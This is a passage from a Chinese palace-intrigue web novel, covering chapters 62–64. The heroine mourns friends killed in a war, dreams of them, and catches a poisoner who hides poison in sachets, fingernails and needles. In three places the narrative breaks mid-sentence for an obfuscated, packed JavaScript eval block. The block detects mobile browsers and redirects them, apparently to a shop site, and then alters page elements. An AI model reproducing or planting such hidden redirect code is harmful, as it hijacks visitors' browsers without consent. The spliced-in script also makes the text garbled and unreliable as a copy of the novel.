“你所感到的困惑是为什么你的目的离初心越来越远,你因此而思虑困苦。我让人去打探过你的过去,你没有为任何一个人停留,只是给他们留下了礼物,此后独自一人往前走,就如同这次去旧都一样。为什么不试试带上一个人?或许会有些不同的体验,你所缺失的感觉说不定就福至心灵,一瞬间就圆满。” “你平日里佛经读的更多吧。”郁颂橘给小鸟倒完吃食,回头看他,一双眼睛又恢复先前的澄澈,“若是道经读的多,该劝我随心所欲,顺其自然,遇到不舒心的事情想怎么做就怎么做、想到什么就去做什么,不用思虑旁人心事,最后就能悟出自己的道。” “我……确实读的佛经更多。”否则也不会去许昌城讲经了。齐九歌看着她,方才迷茫忧伤的情感已经一消而散,“你还是要走吗?” “我……再待两天吧,等到周朝正式出兵,虽然他们出兵也只是我的推测。”也有可能选择直接派人来将她直接摁死在金国。 因为周朝和其他两个国家完全不同,它在制度上更接近东离古国。因为对娲皇的信仰,周朝皇室一直是女子掌权登上皇位,朝堂也是任贤者不论男女。不过因为这几代的皇室女子都早夭,已经接连几代是男子登帝位,也因为掌权者的变化,这几代的时间积累下来,周朝如今已经与其他两国一样,女子不得入朝为官,更不能领兵出征,只能困囿高墙之内,读写女戒。 只要她一回去,那就是正统的继承人,他们辛辛苦苦花了几代人经营出来的男权社会、将女性困囿宅邸的计划,将会毁于一旦。 就算是她的亲哥哥,郁恒京和郁恒星也未曾想过要她以平宁公主的身份回到周朝。 而他们所造出来的“平宁公主”,早晚会死在一场意外里。 因为她的“活着”,对他们来说,是错的。 62.第 62 章 “姐姐,这是我今天做的,你尝尝。”白圭端着一盘新的糕点一路小跑进了郁颂橘的院子里,盘子里装的是用桃花瓣调制内馅的桃花糕,人还没进大厅,香甜的气息已经先进去了。 郁颂橘自从那天和齐九歌聊过至今,已经过去三天了,似乎是察觉到她情绪低落,齐九歌让叶轻天和白圭轮着来讨她开心,点心糕饼时令水果都是随着宫里的送,几乎是每隔一个时辰就有不同的新鲜东西送来。 郁颂橘已经吃饱了,但看见白圭兴致高涨,还是从白瓷盘里拿了一块尝了一口,甜滋滋的蜜糖混着花香在嘴里炸开,也许齐九歌说的对,带上一个人或许会有不同的体验。 “如果姐姐要走的话,你愿意留在这里,还是跟着姐姐一起走?”她一身浅青色罗裙抱着书正躺在藤椅上,手里拿着他送来的粉白粉白的糕点,叶轻天差人去查过了,白圭确实是在十年前地动中失踪的,其父母兄弟都在那场地动中被倒塌的房屋压死了,如今他在金国算是无亲无故。 “我、我肯定要跟着姐姐一起走,不要丢下我!” 给郁颂橘检查身体的御医也顺便给他看了,十年那一摔他摔倒了脑袋,脑中瘀血,再加上自幼不与世人接触,心智如同十岁孩童,把他留在齐九歌这……齐九歌未必能照顾到方方面面。 但若是跟着她上路,也确实不安全……郁颂橘还沉浸在自己的思绪里,门外就窜进来一个人影。 “颂橘,有你的、信……件……”叶轻天一进门就看见白圭抱着点心盘子哭得伤心,还将点心盘子举得很远,生怕眼泪掉进去,“你、你大白天的哭什么啊?” 郁颂橘这才发现一旁的白圭在默默流泪,猛地起身给他递帕子,把他手中的盘子放到一边,“你哭什么?” 少年白皙的面容之上泪水顺着纤长的睫毛滚落,细小的碎发附在额前,他的崩溃和那日在地下一样,“你要走吗?” “现在还不走,日后是要的。” “你会丢下我吗?” “如果你愿意,可以跟着我,但跟着我就没有在留仙城这么轻松舒适,一路上什么都没有的。” “我要跟着姐姐,我不怕吃苦。” 郁颂橘看着他乖乖地将自己的脸擦干,叹了一口气,“那就跟着我吧。” 叶轻天僵在一边看完了全程,这脑子不好使的小孩就是不一样,能这么轻易把他和表哥找不到机会说的话清清楚楚地说出来。 如果是他像白圭这样哭着撒娇,会不会被她踹出门去啊? “咳咳。信。”叶轻天看白圭也止住眼泪,咳嗽两声将郁颂橘的注意力吸引过来,“今早有人递到我府上的,写的你的名字。” 郁颂橘起身从他手中接过信件,是蓝即荧的字迹。 他不应该知道她在留仙城,更不可能让人送到叶轻天府上。她迅速拆开信笺,密密麻麻混乱的小字堆满了整张纸,有几处墨迹被水渍晕开,乍一看像几朵墨莲排铺在字迹之下。 “见字如晤,先生离开已经数月,即荧日夜思念。某日行军至天柱山,得遇仙者,仙者言先生一切安好,暂居留仙,即荧深感庆幸。仙者入世,与魏军同行,破至京都。淮阳王与我等僵持不下,仙者劝我斩而无忧,即荧念卞城之谊不忍下手,遂止兵,未料太子以叛军之名鸩之,尸骨敛于玄山下桃林中。” “将军破城杀太子,擒清阳乡君欲处之极刑,即荧劝阻无果,将军处清阳乡君以车裂。阿姐与房洄为淮阳王重塑新坟,归来之时遭大宁余孽截杀,奔逃至玄山寺,阿姐被僧人推落井中,房洄双拳难敌四手,横死佛前。待即荧赶到,满树枯枝,碎叶纷纷,佳人枯骨,英雄血溅。屠玄山寺僧人二百零一人,其一法号静斋,非在册僧人,自称先生故友,然心愤恨,杀之,在此请罪。” 被晕开的黑色墨迹干透了变成了灰色的印记,“先生,阿姐不在矣。即荧与阿姐分离多年,借先生东风得以重逢,先生一去,缘数尽断矣!即荧尚年轻,思虑不周,如何堪当大任?不如归去,重做那街边乞儿!……” “先生,心无归处,该作何解?” 蓝即灵和房洄都死了啊……郁颂橘将信重新叠好塞回信封之中。 那日少女被困华美小轿之中,梨花带雨只为再见亲人,那日少年病中抬棺,赤诚之心只为疫病早消……如今倒是全都归于天地了。蓝即荧是怀着怎么样的崩溃写下这封书信的? 她只是草草看两眼,就觉得胸口闷得厉害。 李瀛还真的蠢到头了,替李焕守城门,真是可笑。他连叶轻天攻城都守不住,居然妄想守住孔啼奇,真不知道该说是蠢还是……英勇。 跟着蓝即荧征战四方的蒙面将领,就是不在周朝境内的孔啼奇,是郁颂橘和他约定好的,帮蓝即荧造反,他能手刃清阳乡君,为自己的女儿报仇。 这可比她杀了再告诉他来得解恨。 “是谁的信?”叶轻天纵然好奇,也不敢探头去看,在一旁安静的等着,结果感觉身边的气压越来越低,连白圭都不敢继续抽泣,呆呆地看着一言不发的郁颂橘。 从门外透进来的浅浅光线落在少女的眉眼上,她的睫毛轻轻地颤动着,若蝴蝶振翅,在安静的空气中,一滴泪珠飞速自她光滑的面颊闪过,如永夜流星,一瞬间就落进罗裙层层叠叠的褶皱之中,再也分辨不出。 “大魏皇帝的。”郁颂橘似乎没察觉自己脸侧方才略过一滴泪珠,侧身看了一眼如临大敌的两人,“他攻破京都了。” “啊,那、那挺好的……哈哈”叶轻天开始怀疑自己刚才是不是眼花了,根本没有什么眼泪,正打算继续往下问,没曾想被白圭抢先一步。 “姐姐,你哭了。”清澈的少年嗓音似乎不明白叶轻天的迟疑。 !叶轻天惊得差点站不住,这怎么能问啊?没有就是没有,有,问了不就更伤心了吗? “我哭了?”郁颂橘蹙眉,摸了自己的眼角一把,是有一边的眼角湿润一些,可她为什么没有察觉呢? “你们都出去吧,我有些累了。”她轻轻揉了揉自己的眼角,将他们两个往外赶,“有什么事都明日再说吧。” “……好。” 这回两个人是一起被推出院子的。叶轻天和白圭在紧闭的大门前面面相觑,叶轻天有些担心郁颂橘的情况,怎么看都不像是没事吧? “哥、哥哥。”白圭做了好大的心里建设才开口喊他,“姐姐是不是因为、因为我哭才累了啊?” “不是。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14162201|143167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”肯定是因为那封信啊,也不知道是谁写的,按道理来说大宁,哦不,大魏那边不可能有人知道她在这的。叶轻天耐心地看着低头的白圭,“合理的哭是不会惹人烦累的,但也不能经常哭,你待会有事做吗?没有的话,哥哥带你去看马球。” 白圭叫郁颂橘姐姐,郁颂橘是他妹妹,那白圭就是他弟弟,带弟弟出去玩合情合理吧。 ———— 郁颂橘将躺椅搬到院子里的槐树下,细碎的阳光透过枝叶间的缝隙落到她的脸上,随意地拼凑出一幅金箔画,小鸟在枝头蹲着玩新长出来的嫩芽。 她举着书本,却怎么也看不下去,一个个黑漆漆的字顺着她的目光接触进入到了脑子里,在脑子黑漆漆的打架,打得她眼睛发涩,头晕眼花。 她将书摊开放在怀里,闭上眼,感觉到了微风轻轻拨动着额前的发丝…… 她睡着了。 郁颂橘清晰地知道自己在梦中。 这场梦中用的是云郡那边的景象,而她,正站在那扇被许多人推开过的普通木门前,闻见里面散出来的米饭香气。 她轻轻推开这扇她推开无数次的木门,从门缝里望见红裙少女正掀开饭锅,热腾腾的蒸汽充斥在眼前,模糊了那抹红色的背影。 红裙少女听见响动,回过头来,楞了一瞬间,笑盈盈地望着她,水灵灵的眼睛里倒影出她身上的浅青色罗裙,“先生穿这衣裳真好看。” 是蓝即灵。 蓝即灵将锅盖放回去,从已经装上菜的食盒里端出一盘小点心,青色的莲花形状,“仙者跟小荧说先生还活着,被我偷偷听见了,我学这道点心很久了,一直想着要等先生回来给先生尝尝,没想到我等不到先生回来。” 郁颂橘推开门进去,蒸腾的烟雾不散,迷了她的眼,她取了糕点里最上面的那朵青色莲花,苦苦的。 “也不知道小荧现在是不是还在伤心,可惜连累了房洄,若我不去修那坟就好了……”蓝即灵就那么端着盘子看她,慢慢落下泪来,滚烫的泪水随着烟气逸散,“先生,替我照顾好小荧吧,他还太小……我、为什么要去给淮阳王修那个坟呢?” 郁颂橘嘴里的点心越发苦涩,酸苦的气息如同药饮,顺着鼻腔冲上头颅。 她闭上眼将那一团苦涩的点心咽到肚子里,身后传来脚步声,少年的嗓音很好辨认。 房洄颤抖着不可置信的声音抓住了她的袖子,“是将军吗?” “……是。”郁颂橘轻轻开口,觉得袖子上坠了千斤重,将她的心一点一点往下拉。 “仙者说能帮我们再见到你,原来是真的!”房洄的声音带着不易察觉的哭腔,“你过的还好吗?为什么是女装啊?我们都以为你死了……” “我过的很好……”她一时不知道该说些什么,对十几岁就英年早逝的人,要说些什么呢? 房洄在满室轻烟中望见她濡湿的面颊,也有些难过,“将军,我能抱抱你吗?”他其实,也不甘心,不甘心明明只差一步就可以看见哥哥封侯拜相,看见蓝即荧登基大典。 他没有听见将军的回答,只是闻见浅浅的桂花香气有些恍惚,回过神来穿着青色罗裙的将军已经将他揽到怀里。 将军在哭。 63.第 63 章 郁颂橘醒来之时,暮色已沉,微风吹落她的发丝,蹭在脸上痒痒的。 她没有起身,就在槐树下,透过细碎的叶子缝隙看那火烧的天,像晕开的血迹,在树上站了一整个午后的小鸟见她醒了,一个俯冲就落到她怀中的书本上。 那名天柱山上下来的仙者,到底是什么人?她那时去天柱山可没有遇见,是仙人隐居所以不得缘分? 门外突然响起轻轻的“笃笃”敲门声打断了她的思绪,还伴着声声细语,“大哥哥,你说姐姐一个人在院子里做些什么呀,她不会无聊吗?” “应该……不会吧……”之前养伤的时候,郁颂橘是比古板的官家小姐还要“大门不出二门不迈”的,应该有她自己解闷的办法吧? “那我这样敲门,她听得见吗?我手上的糖画要化了……” 郁颂橘起身差点被自己的裙角绊倒,歪歪扭扭地去给他们打开了门,“进来吧。” 门外两人一见她满脸倦意,有些不好意思进门,白圭将手中黄澄澄的糖画递给她,“姐姐吃这个……甜甜的。” 画的是只凤尾蝶。郁颂橘接过木签上还带着余热的糖画,“谢谢。” “你方才在休息吗?我们吵醒你了?”叶轻天盯着她有些凌乱的发丝,又望见了院子里槐树下的躺椅。 “没有,你们来之前我就醒了。先进来吧。”她似乎也发现自己发髻散开了,叼着蝴蝶糖画,边用手拢自己的头发边往屋里走,纤细雪白的手臂露出一截来,在有些发暗的日暮下显得格外晃眼。 叶轻天和白圭正想跟在她身后走进院子,齐九歌就从后头赶上了,“轻天,当年的毒师回来了。” 郁颂橘停住了进屋梳头的脚步,随手将整个发髻拆散重新系成一束,是那个装作医师来到留仙城的毒师?他走了那么多年,又回来干什么?叶轻天他们难道就没怀疑过,宫里的贵人是如何得到奇毒让整个太医署束手无策的? “是师父回来了。”叶轻天停住脚步,他伸手揉了揉白圭的脑袋,这营养不良的豆芽菜比他还矮一个半头,“那我先过去见他,晚点给你们带好吃的。” “谢谢哥哥。”白圭乖乖地站在原地目送他俩离开。 郁颂橘觉得蓝即荧那边出现的仙者太过巧合,叶轻天这边出现的毒师,也太过离奇。先前叶轻天给她讲过这位毒师,那毒师来留仙城,与叶轻天相识,为的就是以此得到一味只有宫中内库才有的药材。 当初算不上对叶轻天如何指点,只是留下一本手书,换了叶轻天像个傻子一样的喊他师父和安帝奉上那味草药,如今回来,又想要什么? “姐姐,你饿吗,我去给你做饭吃,你在这等着。” 郁颂橘抬眼看了半只脚踏进院子里又缩回去的白圭,不知为何,她总觉得那毒师来者不善,“我们去跟哥哥他们一起吃饭,带你见见哥哥的师父。” “可是他让我们在这等着呀。” “那你是听我的还是听他的?” “听姐姐的!” ———— 郁颂橘带着白圭来到齐九歌平日待客的大堂里时,侍女正好把饭菜都放好,鞠躬要退下,她抬手拦住,“再添两副碗筷来。” “是,小姐。” 见那侍女退下去拿碗筷,郁颂橘才正式看向坐在桌前的三人,“不介意我和白圭来蹭小殿下为先生准备的接风洗尘的席面吧?”她带着白圭落座,正坐在那毒师面前。 毒师,是个女人。 “我作为客人,自然不好说些什么。”那人一身紫衣,发髻高高挽起,缀着几只紫色鎏金花簪,眉目含情,看起来二十岁上下,若是不是郁颂橘早就听说她今年已经四十多岁,恐怕会叫她一声姐姐。 “那就是有话要说,先生大可以直说,以您和小殿下的关系,您就算骂了我,我也是不会记恨的。”郁颂橘一只手拖着脸,歪头看向叶轻天,“哥哥,怎么没有桂花糕呀?我去年不是特地晒了好多桂花给你嘛……” 这是……做什么?叶轻天从未想过一向率性洒脱的郁颂橘还有这样娇嗔的一面,脑袋一时卡壳,不知道该接什么。 “颂橘先吃吧,我一会让人在后厨先做着,吃完饭就能吃到了。”齐九歌给她夹了一大筷子的菜放进碗里,“我记得你最喜欢吃这个菜,本来还让下人多做了一份要送过去给你。” “谢谢大哥哥。”郁颂橘高高兴兴地将碗移过去接着,漂亮的眼睛微微眯起来,唇边出现一个浅浅的小梨涡,让人忍不住想戳上一下,她喜滋滋地将碗端回来,看向对面自她进门就一直盯着她移不开眼的紫衣女人,“说起来我还不知道先生名讳,先生这般美人,应该有一个特别好听的名字吧?” “魏紫。”那紫衣女人终于是将眼神从郁颂橘身上移开,转而借机看了低着头的白圭一眼,又转回去盯着郁颂橘,这就是国师认的干妹妹?还特地行了礼,登记在册?看起来也不像外头传说的凶狠可怕。 “白圭也多吃点,早点长到跟哥哥他们一样高。”郁颂橘把白圭的碗也递到齐九歌面前,让他帮忙夹放在叶轻天面前的红烧排骨。 一直插不上话的白圭因为桌子上多了个从未见过的、看起来凶巴巴的女人,一言不吭地埋头数米粒,有郁颂橘给他夹菜才能吃出点滋味。 “魏紫姨为什么突然回来留仙城呀,我听哥哥说,您五年前留下一本书就不辞而别了,如今回来是还有什么东西要找吗?”不知道是不是因为她和白圭的突然到来,这顿饭吃了半个时辰,魏紫和叶轻天是一句话都没说上,全听她撒娇闹腾了。 “你叫我……什么?我这次回留仙城,就是想来看看小殿下学的如何了,没别的事。”魏紫本来就听腻了郁颂橘在饭桌上叽叽歪歪,奈何齐九歌和叶轻天似乎乐在其中,现在姨都叫上了?她自认为保养的比一般人好得多,比不上二八少女,怎么也能比得上十九岁的少妇吧? “魏紫姨啊?那……叫姨姨?你是哥哥的师父,那肯定是长辈呀……”郁颂橘似乎被魏紫突然阴沉下来的语气吓到了,没握紧手中的筷子,落到地上发出清脆的响声,“我……我说错话了吗?” “师父!不要吓她,她前阵子受了伤,经不起吓。”叶轻天终于和魏紫讲上了第一句话。 “我没有吓她。”魏紫收敛脾气,换上一副笑容,“我看小姑娘和我挺投缘的,不如我也指点你一二,免得盯着国师大人的姑娘这么多,哪天有人动手,你措手不及。” “不用啦姨姨,大哥哥和哥哥会保护好我的,大哥哥说上一次给我下毒的人已经被陛下送到尼姑庵里了。”郁颂橘将筷子捡回来放好,转头看向齐九歌,“大哥哥,桂花糕什么时候上来呀? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14177169|143167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 你最好祈祷他们能保护你一辈子。魏紫脸上的笑容有些僵硬,她有些看不明白这个小丫头片子是真傻还是装傻,也不能说是小丫头片子,站起来可要比她高了大半个头呢。 “颂橘,你先回自己院子里吧,我带师父回我的府邸。”叶轻天替她去膳房端来了桂花糕,总觉这顿饭吃得怪怪的。 “啊?可是哥哥还没娶亲,怎么能带外女回家过夜……姨姨不如住我院子里吧?”郁颂橘将糕点推到脸色越来越不好看的魏紫面前,“姨姨也吃,这个桂花糕可好吃了。” “不必了,我自己在客栈定了房间。”魏紫原本是想借住叶轻天府上的,更好下手,没想到他有个这么惹人生厌的“妹妹”。 “那怎么行,姨姨这么久才回留仙城一次,怎么能去住客栈呢?”郁颂橘见她不动盘子里的糕点,又把盘子拉回来,放到白圭面前,“我院子里很大的,平日里就我一个人住,不会有人打扰的。” “不麻烦小姐了。”魏紫暗叹一口气,这回恐怕没上回那么好下手,也不知道那位为什么一定要她来处理这两兄弟,一个齐九歌当年就大难不死,一个叶轻天又是皇子,哪有那么容易。 她最后看了一眼正慢条斯理数糕点的郁颂橘,起身请辞了。 ———— 等叶轻天送走魏紫后,郁颂橘和齐九歌还坐在大堂里,白圭倒是先走了。 清冷的月色自天井上封的琉璃瓦间一泻而下,落到依旧坐在桌前的两人身上,如同上好的鲛绡又透又亮。 “颂橘今日比往日活泛不少。”叶轻天跟他们坐到一起,给自己添了杯新茶。 “我就说小殿下根本什么都没想,单纯得很。”郁颂橘笑着将自己的杯子推过去,让他顺手添新的。 齐九歌也笑着,“他那个脑子又单纯又善良,能想得到什么?” “你们在说什么啊?”叶轻天一头雾水,乖乖给他俩倒茶。 “你这段时间就住在这吧。”齐九歌望见他迷茫的眼神,实在是不知道该作何解释,“你那师父难道回留仙城是为了看望你的?” “我猜这个‘姨姨’,要么是来要东西的,要么是来要命的。”郁颂橘透过一脸茫然的叶轻天想起了梦里的房洄,隐约感觉有些不对,“不,就是要命的,她要你们俩的命。” “怎么会呢,当初她到留仙城可是治好了不少人的积年顽疾。” “是与不是,过两天就知道了,你就先在国师府住下吧。”比起魏紫的说辞,齐九歌更相信郁颂橘的推测。当年叶轻天拜师他也在场,魏紫得到想要的药材之后就连夜离开了,特地回来看叶轻天是不可能的,“明日我和颂橘一同去城外的檀寺礼佛,最短也要三天才能回来,你照顾好白圭。” “啊?”这么突然?叶轻天不明白,也跟不上他们两人的思路,只得点点头答应了。 魏紫在叶轻天府门前等了大半夜,没等到叶轻天回来,回国师府朝下人打听才知道,他这段时日都住在国师府,早知道就答应那个小丫头也住在国师府了! 她又在国师府门口守了半夜,终于是看见郁颂橘和齐九歌上了马车,听说是要去檀寺礼佛,三日后才回来。 她实在是讨厌那个小丫头,装作懵懂的样子咄咄逼人,毒两个是毒,毒三个也是毒,想办法全杀了算了。 64.第 64 章 “你如何肯定她会对我们下手?”齐九歌端坐在马车厢里为郁颂橘斟茶,他自己也只是算出这毒师来者不善,有血光之灾,她又是如何得知的? “准确来说,不是我们,是你们。”郁颂橘手中拽着一根翡翠簪子,簪头用的碧玺坠出孔雀羽毛来,晃起来叮铃铛铛的,“她突然回来,肯定是有所取,不先找叶轻天反倒找你,那她所求肯定与你有关。若是为物件,她大可以直接面圣,她能收轻天为徒弟,肯定在安帝那过了明面,宫里什么没有,她甚至可以去找轻天生母,都比找你容易。求财求物都有更快的路走,为何偏偏找你?” “那你为何先前又说你也是她的目标?”叮叮当当的脆响伴着车外的嘈杂人声,倒是别有风味。 “啊,我昨天可是把她得罪狠咯,动两个人是动,动三个人,也就是顺手。陪我去买些点心吃吧,反正也要逛一圈才能回去。”郁颂橘盯着车里没滋没味的干巴巴糕点实在是下不去手,“你喜欢吃这种特别会掉渣的点心啊,难怪从没见你吃过我那的。” “我不喜甜。” “那当年那碗酒酿圆子你们还要三个人分食?”她拿翡翠簪子挑起一块糕点,落下许多糕点渣,一边梳毛梳到一半的小黄鸟停下嘴上的动作,落到小茶几上,这下车厢里又多了“笃笃笃”的啄木声。 齐九歌手上的动作顿了顿,“就是那件事之后,我才不喜欢的。” “你没想办法查清楚那毒药从哪来?” “没有线索。涉事的人,包括一部分太医都离奇暴毙。叶轻天的母亲据说也因此得了疯病。当然,我是不信的。”他笑笑,又拿了一个新杯子,给小鸟也倒了一杯。 “你觉得,会不会是她给的药?” “有所猜测,但没有证据。” “要什么证据,一个随时都可能离开留仙城不知道去往何处的人,就是让她马上消失,也不会有人觉得奇怪的吧?最多……不过是轻天难过,也不至于为此与你反目。”把魏紫抹除有许多方法,但齐九歌他,非要物证俱全才肯下手,把叶轻天独自放在国师府,也不知道等他们回去,这对人从不设防又容易心软的小殿下,还活着吗? “不过她要是想杀我们三个,那必然不会是普通的下毒之法,被我们发现了其中一道,那必然失败。你猜猜她这回会再什么关窍里下毒?”见齐九歌久久不回话,郁颂橘也就移开话头,“我猜……是香料。” “为何?” “这就又要提到你的伤痛之处了。”郁颂橘抬眼看他,“当年毒发,三人都是急症,但只有轻天一人毒解。你和长公主所处宫室和轻天的,不一样吧?” “是不一样,他被母妃接回居所,我和母亲在当时最近的宫室里就诊。”当年查过很多地方,得出的结论是叶轻天和他们吃的、用的都是一样的东西。 “你们肯定查过了,当年你们用的、吃的都是一致的,可他偏偏一副药下去就好了。当然,不排除宫里的娘娘提前备好解药放进去,但这种事情一查就清楚。所以……我猜是不同宫室的燃香品种不同,诱发药性不同。” 齐九歌确实没从这方面入手过。 “你对叶轻天,到底是一种什么样的感情?”又要顾忌他的心情,又能放他一个人当诱饵。 “感情这种事情,要是三言两语、一日一时能思虑清楚,那就不叫感情了。”齐九歌笑着将桌面上因为颠簸撒出来的茶水擦干,望向手中簪子叮叮当当的少女,“你对我们,是什么感情呢?” ———— 叶轻天这头正在齐九歌给白圭准备好的书房里教他识字,他举着白圭在上面写着认不出是什么东西的纸张,对着门外的阳光看了又看,最后只能是叹了一口气,“颂橘没有教你练字?” “姐姐说我读不读书都没关系。” 那为什么今天突然叫他来教啊!叶轻天端起桌上的水猛地喝了一口,重重放回去,“啪”的一声落在桌上,把正在乱画的白圭吓了一大跳。 白圭抬头一看,“哥、哥哥,你喝的是洗笔的水……”茶水是旁边另一杯小点儿的…… 叶轻天看了一眼没用过的洗笔水,摆摆手,手中的纸张跟着晃荡,“没事,没洗过。我们出去逛逛吧?” “不行的,姐姐说了在她和国师大人回来之前,不可以出门。” “有我在,又不会出什么事。” “姐姐说了不行就是不行。”白圭从他手中把那张鬼画符抽回来,“很丑吗?” 很丑。根本看不明白写的是什么。虽然叶轻天很想实话实说,但又不想伤他的心,只得咬着牙吐出一句,“还行。” 正在他纠结还要不要继续纠正白圭的鬼画符之时,魏紫在仆从的带领下到了书房门口。 “是昨天那个姨姨。”白圭盯着她紫色裙摆上绣着的金线牡丹,有些害怕地低下头,她看起来好可怕。 “师父?有什么事吗?”饶是叶轻天也觉得不对了,五年前的魏紫,他一个月能见上一面就不错了,怎么可能亲自一大早来找他,难道真让表哥他们说中了? “我来给你们送些我做的香囊,里面的药材都是一样的,能防毒虫猛兽、提神醒脑。午时我就离开留仙城,所以一早来送。”魏紫也知道齐九歌看穿自己的计划,否则也不会偏偏她一来,他就带着郁颂橘上檀寺礼佛。 往日听说齐九歌对这小皇子很上心,如今看来,还不如那半道上捡来的郁颂橘。当年长公主惨死,果然还是在他们兄弟俩心里横了一根刺进去。 如今只有叶轻天和这小傻子待在国师府中,倒是方便了她。 但谋害皇子到底是个麻烦事,她可还惦记着宫里那位娘娘私库里的名贵药材呢,哪里能变成金国通缉犯呢? “这个给你的,这个是给这孩子的。”她尽力露出一个温和的笑容上前将一个月白色的锦囊塞到不敢抬头的白圭手中,只有他的是不一样的,另一只手中握着的是一个银色用金线编织了叫不出名字花纹的锦囊。 叶轻天接过锦囊系在腰间,淡淡的草药味慢慢窜上来进入鼻尖,确实有些提神醒脑的感觉在,“谢谢师父。” 魏紫盯着白圭,亲眼见他将香囊系到衣带上才放下心来,“那就此别过,不必相送。” 到底是个孩子。她转过身敛起面上的笑容,正准备离开,却听见一阵翡翠珠玉叮铃啷当声音,定睛一看,正是一早乘车离开的郁颂橘和齐九歌。 那圆形红砖拱门之后,缓步探出一只鹅黄色绣花鞋,浅青色的绣莲裙摆摇曳着一丝俏皮,腕间搭着的是齐九歌新给她买的白玉镯子,温润玉石含着山川灵秀,安静地套在皓白手腕上,修长的指尖正把玩着一支翡翠簪子。 一双漂亮的眼睛紧紧地盯着魏紫。 “姨姨这就要离开了?”郁颂橘眉眼含笑,盯着身形僵硬的魏紫,“大哥哥说我昨日惹得姨姨不开心了,带我上街挑了支簪子,要给您赔罪呢。” 他们不是说要去檀寺礼佛,至少三日吗?为什么这么早就回来了,魏紫还在国师府门口守了很久,确定他们远去才进的门。 “你们不是去礼佛吗?”叶轻天手中抓着魏紫给的锦囊,不解地望向他们。 “本来是要去的呀,但是我之前受的伤疼得厉害,半路咯血,只好先回来了。”郁颂橘挽着齐九歌的手臂,一步步往魏紫走去,“我听见姨姨说给我们送了礼物,谢谢你呀!” “你们只是沾了小殿下的光,并非专门为你准备的。”魏紫好不容易才将怦怦跳的心脏安抚好。 “我知道姨姨还在生我的气,喏,这个可是大哥哥特地给你选的。”郁颂橘将手中的簪子递出去,清脆的玉鸣声如同鸟鸣。 “我不喜欢佩戴簪子,多谢小姐好意。”魏紫没敢接,她不相信他们俩专门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14197174|143167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出这趟门是为了给自己挑簪子赔罪。 “你方才说半路咯血?有请御医来吗?”叶轻天攥着锦囊上前,清新的药草气息扑鼻而来。 “已经差人去了,这会应该快到了。”齐九歌拦住紧张地扑上前的叶轻天,又喊了准备跟着上来的白圭一声,“你别动。” 魏紫这哪还能不知道要发生什么,定了定心神,“我也略懂医术,我来替郁小姐看看吧?” “好呀,谢谢姨姨。”郁颂橘高高兴兴地搬了把凳子到书桌前坐下,“姨姨也是靠号脉来看病的吗?” “当然。”魏紫勉强露出一个笑容,染了凤仙花的艳色指尖搭在了雪白的、带着一条狰狞伤疤的手腕上。 齐九歌紧张地盯着那艳红的指尖,生怕伤到郁颂橘一分一毫。 “小姐先前去了哪里,受了这么重的伤,五脏受损,恐怕根基难愈。”魏紫被那条骇人伤疤惊了一瞬间,迅速调整神态指尖深深陷入少女柔软的皮肉之内。 “先前摔了一跤跌落悬崖,勉强捡回一条命来。” “难怪。”魏紫移开指尖,郁颂橘白皙的手腕上留下三个粉红的月牙印子,很是显眼。 就在她确定刚才情急之下藏进指尖的毒粉,已经落进把脉时“不小心”划破的肌肤之内,准备撤开手时,那只安安分分等着她号脉的手以她看不清的速度抓住了她纤细的手掌。 力气很大,挣脱不开,她抬眼看抓住她手不放的郁颂橘,“小姐这是做什么?” “指尖□□?”郁颂橘不费什么力气就禁锢住了那只手,“不应该啊,当年给宫中娘娘安排的下毒手段那么高明,怎么今天如此低劣?” 魏紫在那一瞬间第一次感受到了死亡的气息,可郁颂橘只是抓着她的手,她回头看向楞在原地的叶轻天,“小姐在说什么,我听不明白,从昨日宴席起,就对我处处针对,句句紧逼,如今是要陷害我下毒害你?我虽不是后宅女子,但这些腌臜事见得也不少。” “我猜猜?是在锦囊里?”郁颂橘笑着看她,“当年用香料诱发长公主体内剧毒,如今用香料毒杀我们三人,嫁祸白圭?” “我听不懂你在说什么。”魏紫从袖中抓出一把毒针,刺向紧抓着自己不放的手,不料郁颂橘比她更快,一记鞭腿让她失去平衡栽倒在地,毒针意外扎进了自己的肩膀上。 “当年让你来处理齐九歌和长公主的人,和如今让你来处理他们兄弟二人的,是同一个人吧?”郁颂橘从背后压着她,将她的脸紧贴在地面上,从她肩膀上滴落的紫黑色血液渐渐在地砖上晕开。 “我何时害过长公主?若是指甲□□,你怎么还能这样对我!”魏紫咬着牙吐出几句话,她不明白,为什么郁颂橘没有即刻毒发身亡,居然还能对自己动手! “派你来的人没告诉你?齐九歌没那么容易死,我也没那么容易死。”郁颂橘的声音很低,近乎耳语,魏紫几乎能感受到她身上的桂花香气,“那个仙者,也是你们的人?为什么,要杀了房洄和蓝即灵?” 